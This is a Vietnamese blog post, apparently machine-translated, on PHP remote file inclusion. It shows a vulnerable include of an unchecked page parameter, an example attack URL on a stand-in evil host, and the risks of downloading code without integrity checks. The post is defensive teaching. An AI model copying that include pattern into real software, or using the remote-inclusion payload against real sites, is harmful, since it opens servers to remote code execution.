2
Bài đăng đầu tiên của loạt bài thảo luận về các phương pháp khác nhau bao gồm mã PHP từ xa trong ứng dụng của bạn - từ quan điểm bảo mật. Trong bài viết này, chúng tôi thảo luận về lịch sử của các lỗ hổng thực thi mã từ xa trong các ứng dụng PHP và các cách để ngăn chặn chúng. Chúng tôi kết thúc bằng cách trình bày một phương pháp không an toàn bao gồm mã từ xa và mô tả vấn đề với phương thức đó là gì.

Giới thiệu

Các ứng dụng PHP từ những ngày đầu thường bị lỗ hổng Thực thi Mã từ xa. Một số lỗi thiết kế trong chính ngôn ngữ (ví dụ: cho phép bao gồm một tệp từ URL từ xa) và sự thiếu kiến ​​thức của các nhà phát triển PHP đã góp phần gây ra vấn đề. Nguồn phổ biến của nó đã được nhìn thấy trong các CMS tự làm, nơi bạn có thể tìm thấy các đoạn như sau:
$file = $_GET['page'];
include $file . '.php';
Tất nhiên, điều này rõ ràng có một lỗ hổng thực thi mã từ xa - nếu kẻ tấn công đã sử dụng ? Page = http: //evil.example.com/evil_script anh ta có thể chạy bất kỳ mã nào trên máy chủ. Đó là, nếu PHP còn lại với cài đặt mặc định là allow_url_fopen . Tuy nhiên, việc thay đổi allow_url_fopen thành false sẽ ngăn bạn dễ dàng mở tất cả các tệp từ xa (ví dụ: hình ảnh để bán lại), không chỉ mã, do đó, nó thường được để ở giá trị mặc định.

Cho phép_url_include

May mắn thay, PHP 5.2 đã giới thiệu cài đặt cấu hình mới - allow_url_include . Giá trị mặc định của nó ngăn chặn việc bao gồm tệp từ một vị trí từ xa (chỉ có thể tạo URI giao thức tệp cục bộ):
// PHP 5.2 - allow_url_include = "0"
// you can still open files by URL
echo file_get_contents('http://www.google.com/image.png');
include '/path/to/file.php'; // this is ok
include 'http://example.com/src/file.php'; // this will fail
Nhờ động thái này, hầu hết các lỗ hổng thực thi mã từ xa phổ biến trong các ứng dụng PHP đã được vá. Theo mặc định, bao gồm (và thực thi) mã từ URI từ xa bị từ chối. Chắc chắn, điều đó vẫn có thể xảy ra, nhưng thường là do các tác giả ứng dụng giới thiệu một số tính năng thú vị để cho phép tải xuống mã từ xa (ví dụ: để cập nhật plugin, v.v.).

Nhưng tôi cần mã từ xa!

Đó là năm 2010, web hiện là 2.0 - chúng tôi đã phân phối các ứng dụng, điện toán đám mây, máy chủ quảng cáo, thành phần ứng dụng, plugin, mạng xã hội, mashup, v.v. Phân phối mã từ xa trở thành nhu cầu phổ biến của các ứng dụng PHP. PHP ngày nay không chỉ ngồi trên một máy chủ - các ứng dụng được triển khai trong các trang trại máy chủ, trên đám mây, được phân phối cho khách hàng của bạn, chạy trên máy tính để bàn - và thậm chí trong điện thoại Android của bạn !

Bằng cách cho phép mã từ xa, bạn có thể:

  • tạo một ứng dụng với các plugin có thể nâng cấp
  • cho phép các ứng dụng của bạn tải xuống các mô-đun qua dây
  • tự động cài đặt các plugin bổ sung dựa trên ví dụ: tệp giấy phép của khách hàng

và hàng tấn những thứ khác, nhưng ....

Trong môi trường phân tán này, an ninh trở nên quan trọng. Làm thế nào để tôi biết rằng mã tôi đã được cung cấp (hoặc tôi đã tải xuống) đáng tin cậy? Làm thế nào để tôi biết nó đã không bị giả mạo? Trước tiên hãy xem làm thế nào để không làm điều đó:

Cách ngây thơ - vị trí mã hóa cứng

Hãy giả vờ rằng chúng ta có một kịch bản đơn giản:

Ở đây chúng tôi có 2 máy chủ - người tiêu dùng ( client.example.net ) và nhà sản xuất ( code.example.com ). Máy khách tải xuống mã PHP từ máy chủ, lưu mã cục bộ (đánh bại allow_url_include bảo vệ) và bao gồm mã đó. Mã được tải xuống từ một vị trí được mã hóa cứng, vì vậy chúng ta nên an toàn, phải không? Không hẳn vậy. Chúng tôi tin tưởng một cách mù quáng rằng máy chủ được xác định bởi tên miền đang lưu trữ mã "của chúng tôi" - nhưng điều này không phải lúc nào cũng đúng:
Máy khách có các mục DNS sai - tải mã hiệu quả từ vị trí của kẻ tấn công. Tấn công DNS rebinding đây chỉ là một trong những phương thức, người ta có thể sử dụng tấn công trung gian, sử dụng một số proxy giả mạo, v.v.

Đừng tin vào tên máy chủ!

Vấn đề là chúng tôi đã tin tưởng tên máy chủ và không phải . Vì vậy, nếu một người có thể đóng vai trò là code.example.com cho ứng dụng của chúng tôi, chúng tôi sẽ mù quáng chấp nhận mọi thứ anh ta cung cấp.

Để bảo vệ khỏi các loại tấn công này (và sử dụng mã từ xa một cách an toàn), chúng tôi cần thực hiện một số loại kiểm tra tính toàn vẹn mã trước khi thực hiện. Nếu không, chúng tôi có lỗ hổng CWE-494: Tải xuống mã mà không kiểm tra tính toàn vẹn . Làm thế nào để kiểm tra? Vâng - kiểm tra bài thứ hai của loạt bài ;)


|